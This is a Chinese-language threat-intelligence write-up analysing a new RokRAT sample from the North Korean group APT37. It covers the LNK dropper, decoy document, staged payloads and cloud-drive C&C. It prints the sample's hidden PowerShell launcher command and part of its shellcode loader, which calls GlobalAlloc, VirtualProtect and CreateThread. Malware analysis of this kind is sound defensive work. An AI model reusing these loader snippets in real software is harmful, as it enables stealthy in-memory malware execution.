lazarusholic

Everyday is lazarus.dayβ

APT37组织主战远控武器RokRAT,更新迭代部分执行流程

2024-02-26, qianlan
https://xz.aliyun.com/t/13851?time__1311=mqmxnQG%3DKDu0D%2F%2BG7DyQvfpxGqvDWwD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F80636
#APT37 #RokRAT

Contents

前言
新年好奥师傅们,希望今年大家都好一点。
从威胁情报渠道获取到比较新的APT37组织主战武器RokRAT样本,相比以往的RokRAT样本,此次样本在执行流程和细节上有了部分的更新迭代。
背景
APT37,别名Group123、Venus 121、Reaper等,是一个活跃的朝鲜黑客组织,其攻击活动开始于2012年。APT37的主要攻击目标为朝鲜的地理邻国,包括韩国、日本、俄罗斯、中国等,其中对韩国的攻击活动最频繁。Rokrat为该组织主战远控武器之一,其C&C位于几大公共云网盘上,分别是Dropbox,Pcloud,Yandex和Box(主要是前两个)。Rokrat通过内置的云盘账号的Token向云盘发起针对特定文件的下载、上传和删除等请求,以此实现与C&C通信
逆向分析
样本执行流程
初始载荷执行释放二阶段载荷,其中“.pdf”为迷惑性正常文件,在其他样本中可以是其他格式的文档文件,此样本中“.lnk”文件在释放完后会执行“.pdf”文件,让用户以为自己打开了正常文件。
“.lnk”文件执行结束后也会自删除。
二阶段载荷执行,“working.bat”脚本调用poershell执行文本文件"temp.dat",创建线程执行shellcode二进制文件“public.dat”。shellcode会在内存中释放执行PE文件,做系统基本信息搜集,完成对域名“api.pcloud.com”的请求,并处理后续下载来的后续载荷。
初始载荷程序释放、执行后续载荷
经过解压缩获取初始载荷文件是一个lnk文件,文件大小221MB。
修改后缀查看其快捷方式目标,目标文件是“%windir%\SysWOW64\cmd.exe”,并且有一系列参数。
文件属性-快捷方式-“目标”值有长度限制,过长被截断了。
在文件ascll流里可以找到完整的。
拿出来整理一下,是一个通过powershell调用C#的嵌入代码的脚本。
初始载荷执行并且释放了一列后续载荷,梳理详细功能如下。
- 以隐藏属性打开cmd窗口,指定路径递归寻找powershell.exe脚本执行嵌入的C#代码。
- 在动态链接库User32.dll中调用FindWindow和ShowWindow函数,过调用FindWindow函数查找名为"powershell.exe"的窗口,并通过ShowWindow函数隐藏该窗口。
- 获取当前目录路径,如果路径包含"System32"或"Program Files",则将一个参数目录路径设置为"%temp%"。
- 用地址偏移的方法在当前lnk文件定位载荷,新建数组存储并释放成文件。
- 在lnk文件相同路径释放'【lnk同名】.hwp'文件,并且执行。
- 在%public%路径释放'public.dat'文件。
- 在%temp%路径释放'temp.dat'文件。
- 在%temp%路径释放'working.bat'文件。
- 执行"working.bat"文件。
- 关闭.lnk文件。
- 删除原始.lnk文件。
shellcode加载准备阶段
初始载荷释放并且执行了"working.bat",这个“.bat”脚本就是后续载荷执行的起点了。"working.bat"内容如下,功能为创建隐藏窗口powershell进程,读取“temp.dat”文本文件并放入内存中执行。
start /min C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden "$stringPath=$env:temp+'\'+'temp.dat'; $stringByte = Get-Content -path $stringPath -encoding byte; $string = [System.Text.Encoding]::UTF8.GetString($stringByte); $scriptBlock = [scriptblock]::Create($string); &$scriptBlock; "
“temp.dat”脚本内容如下,此脚本也是一个典型的shellcode加载和执行的过程,读取 public.dat 文件中的二进制数据,然后在内存中分配空间,将数据写入该空间,最后创建一个线程来执行这段内存中的代码。
详细功能描述写成注释在代码中。
## 构建 public.dat 文件的完整路径,并读取public.dat 文件的二进制内容。 $exePath=$env:public+'\'+'public.dat'; $exeFile = Get-Content -path $exePath -encoding byte; [Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072); ## windowsAPI函数的声明,并通过 Add-Type 添加到 PowerShell 环境中 $k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dll' + [System.Text.Encoding]::UTF8.GetString(34); $a90234s = '[DllImport(' + $k1123 + ')]public static extern IntPtr GlobalAlloc(uint b,uint c);'; $b = Add-Type -MemberDefinition $a90234s -Name 'AAA' -PassThru; $d3s9sdf = '[DllImport(' + $k1123 + ')]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);'; $a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru; $b3s9s03sfse = '[DllImport(' + $k1123 + ')]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);'; $cake3sd23 = Add-Type -MemberDefinition $b3s9s03sfse -Name 'BBB' -PassThru; $dtts9s03sd23 = '[DllImport(' + $k1123 + ')]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);'; $fried3sd23 = …